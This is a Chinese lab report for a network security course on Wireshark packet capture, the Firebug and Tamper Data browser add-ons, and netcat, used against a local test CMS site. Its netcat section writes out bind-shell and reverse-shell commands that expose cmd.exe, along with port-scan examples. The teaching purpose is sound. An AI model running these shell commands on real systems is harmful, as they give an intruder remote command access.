资源描述
实验名称
网络监听与数据包修改工具使用练习
实验目的
通过实验,使学生掌握协议分析工具的使用方法,能够利用协议分析工具分析数据包的内容,更加深入理解IP/TCP/HTTP协议。另外,了解Firefox浏览器调试工具以及netcat工具的基本使用方法。
实验平台
以win2003为主机,ubuntu为服务器
实验工具
1. 掌握网络抓包分析工具WireShark的使用
2. 掌握IP/TCP/HTTP协议分析技能
3. 掌握Firefox浏览器调试工具的使用
4. 掌握netcat工具的使用
实验步骤
【实验原理】
Wireshark
Wireshark是一个有名的网络端口探测器,是可以在Windows、Unix等各种平台运行的网络监听软件,它主要是针对TCP/IP协议的不安全性对运行该协议的机器进行监听。其功能相当于Windows下的Sniffer,都是在一个共享的网络环境下对数据包进行捕捉和分析,而且还能够自由地为其增加某些插件以实现额外功能。
其最常用的功能是被攻击者用来检测被攻击电脑通过23(telnet)和110(pop3)端口进行的一些明文传输数据,以轻松得到用户的登录口令和邮件账号密码。对于网络管理员来说,也可以通过抓包分析,来确定一些异常的流量和局域网内部的非正常用户与外界的通信,比如说对于现在比较占用网络带宽的诸如Bit Torrent等P2P应用软件流量,通过使用该软件确定这些流量,网络管理员就可以使用流量控制(TC)的方法来规范、合理的分配带宽资源,提高网络的利用率。
Wireshark可以在http://www.wireshark.org/download/ 上下载,该软件有极其方便和友好的图形用户界面,并且能够使得用户通过图形界面的配置和选择,针对多块网卡、多个协议进行显示,效果非常好。目前最新版本为:Wireshark 0.99。
Wireshark安装后自动安装winpcap 4.0 ,Winpcap是UNIX下的libpcap移植到windows下的产物,他是一个GPL项目。Winpcap工作于驱动(Driver)层,所以能以很高的效率进行网络操作。 Winpcap提供了以下强大的功能:
1.捕获原始的数据包 ;
2.设置filter,只捕获自己敢兴趣的数据包 ;
3.方便的把捕获的数据包输出到文件和从文件输入 ;
4.发送原始的数据包 ;
5.统计网络流量。
ü Wireshark主窗口有很多的GUI程序组成
(1) File(文件):这个菜单包含:打开文件、合并文件、保存/打印/导出整个或部分捕获文件、退出。
(2) Edit(编辑)这个菜单包括:查找包、时间参照、标记一个或多个包、设置参数、(剪切、复制、粘贴)。
(3) View(查看):这个菜单控制捕获数据的显示,包括:给定特定的一类包标以不同的颜色、字体缩放、在一个新窗口中显示一个包、展开&折叠详细信息面板的树状结构。
(4) Go:这个菜单实现转到一个特定包。.
(5) apture(捕获):这个菜单实现开始、停止捕获,编辑捕获过滤条件的功能。
(6) Analyze(分析):这个菜单包含编辑显示过滤、enable(开)或disable(关)协议解码器、配置用户指定的解码方法、追踪一个TCP 流。
(7) Statistics(统计):该菜单完成统计功能。包括捕获的包的一个摘要、基于协议的包的数量等树状统计图等许多功
(8) Help(帮助)这个菜单包含了一些对用户有用的信息。比如基本帮助、支持的协议列表、手册页、在线访问到网站等等。
ü 设置Wireshark的过滤规则
在用Wireshark截获数据包之前,应该为其设置相应的过滤规则,可以只捕获感兴趣的数据包。Wireshark使用与Tcpdump相似的过滤规则,并且可以很方便地存储已经设置好的过滤规则。要为Wireshark配置过滤规则,首先单击“Capture”选单,然后选择“Capture Filters...”菜单项,打开“Wireshark :Capture Filter”对话框。因为此时还没有添加任何过滤规则,因而该对话框右侧的列表框是空的。在Wireshark中添加过滤器时,需要为该过滤器指定名字及规则。
图1:为Wireshark添加一个过滤器
例如,要在主机192.168.0.3和192.168.0.11间创建过滤器,可以在“Filter name”编辑框内输入过滤器名字“cjh”,在“Filter string”编辑框内输入过滤规则“host 192.168.0.3 and 192.168.0.11”,然后单击“新建”按钮即可。
ü 应用WireShark过滤规则进行抓包
要将过滤器应用于嗅探过程,需要在截获数据包之前或之后指定过滤器。要为嗅探过程指定过滤器,并开始截获数据包,可以单击“Capture”选单,打开“iterface”对话框,单击要抓包的网卡对应的“Options:”按钮,然后对该网络接口进行过滤器设置,其设置内容包括:
Ø Interface(接口)
这个字段指定在哪个接口进行捕获。这是一个下拉字段,只能从中选择Wireshark 识别出来的接口,默认是第一块支持捕获的非loopback 接口卡。如果没有接口卡,那么第一个默认就是第一块loopback 接口卡。在某些系统中,loopback 接口卡不能用来捕获(loopback 接口卡在Windows平台是不可用的)。
Ø IP address(IP 地址)
所选接口卡的IP 地址。如果不能解析出IP 地址,则显示"unknown"
Ø Link-layer header type(链路层头类型)
除非你在极个别的情况下可能用到这个字段,大多数情况下保持默认值。具体的描述,见”
Ø Buffer size: n megabyte(s) (缓冲区大小:n 兆)
输入捕获时使用的buffer 的大小。这是核心buffer 的大小,捕获的数据首先保存在这里,直到写入磁盘。如果遇到包丢失的情况,增加这个值可能解决问题。
Ø Capture packets in promiscuous mode (在混杂模式捕获包)
这个选项允许设置是否将网卡设置在混杂模式。如果不指定,Wireshark 仅仅捕获那些进入你的计算机的或送出你的计算机的包。(而不是LAN 网段上的所有包).
Ø Limit each packet to n bytes (限制每一个包为n 字节)
这个字段设置每一个数据包的最大捕获的数据量。有时称作snaplen 。如果disable 这个选项默认是65535, 对于大多数协议来讲中够了。
Ø Capture Filter(捕获过滤)
这个字段指定一个捕获过滤。 “在捕获时进行过滤”部分进行讨论。默认是空的,即没过过滤。也可以点击标为Capture Filter 的按钮, Wireshark 将弹出Capture Filters(捕获过滤)对话框,来建立或者选择一个过滤。
在选择了所需要的过滤器后,单击“确定”按钮,整个嗅探过程就开始了。Wireshark可以实时显示截获的数据包,因此能够帮助网络管理员及时了解网络的运行状况,从而使其对网络性能和流量能有一个比较准确的把握。
Firefox
Firebug是Firefox下的一款开发类插件,现属于Firefox的五星级强力推荐插件之一。它集HTML查看和编辑、Javascript控制台、网络状况监视器于一体,是开发JavaScript、CSS、HTML和Ajax的得力助手。
在安装好插件之后,先用Firefox浏览器打开需要测试的页面,然后点击右下方的绿色按钮或使用快捷键F12唤出Firebug插件,它会将当前页面分成上下两个框架,如图2所示。
图2:Firebug插件展开图示
Tamper-data可监视 HTTP 请求并记录下每个请求所耗费的时间,并能够任意修改浏览器发出的 HTTP 请求的头的内容。 可利用修改请求头的功能来调试程序、寻找安全漏洞,也利用监视功能找出应用程序瓶颈。Tamper-data的使用很简单,点击 Firefox 菜单栏上“工具”菜单项里面的“Tamper Data”,就会弹出 Tamper Data 的主窗口。
图3:Tamper-data插件展开图示:
Netcat
Netcat是一个简单而有用的工具,通过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接。
参数介绍:
'nc.exe -h'即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。
基本用法:
1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
6)发送编写好的数据包内容,例子:
格式1:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容
【实验内容】
1. 在WindowsXP系统上安装wireshark工具。访问上一节实验搭建的siteserver cms网站或者EmpireCMS网站,用wireshark抓包,分析HTTP Request 和HTTP Response数据包的内容(从链路层信息至应用层信息)
2. 使用IE浏览器,在“工具->Internet选项->高级”中选择“使用HTTP1.1”,
访问siteserver cms网站或者EmpireCMS网站抓包,查看HTTP/1.1的request数据包的内容;
在“工具->Internet选项->高级”中不选择“使用HTTP1.1”,
访问siteserver cms网站或者EmpireCMS网站抓包,查看HTTP/1.0的request数据包的内容;对比二者的区别
2. 安装firefox浏览器,安装firebug与tamper data插件,
打开火狐浏览器,点击菜单栏里面的 工具——》附加组件——》“设置标志”——》从文件安装附加组件——》选中组建并点击打开——》重启浏览器便成功
用firebug分析访问siteserver cms网站或者EmpireCMS网站的过程,打开火狐浏览器,点开网站,点击F12键
用tamper data修改http 请求中的某项内容,并抓包查看修改结果:
首先打开firefox浏览器->点击工具栏中“工具”->附加组件->获取附加组件中输入查询提交“tamper data”在查询结果中点击“添加至firefox”,就会自动将该插件安装入firefox中,以后要使用的话可以选择“工具”->tamper data 即可打开。
可以用这个工具查看Graphs
3. 解压“nc11nt.rar”,自己编写一个httprequest请求,保存为文本文件,使用netcat向siteserver cms网站或者EmpireCMS网站发送该请求,查看响应结果
从win2003,192.168.16.218向ubuntu,192.168.16.118发送zjpost.txt(里面是httprequest请求):
设置过滤规则
使用tamper:
结论和总结:
最后结果如下:
通过实验,使我们掌握了协议分析工具的使用方法,能够利用协议分析工具分析数据包的内容,更加深入理解IP/TCP/HTTP协议。另外,了解Firefox浏览器调试工具以及netcat工具的基本使用方法。
展开阅读全文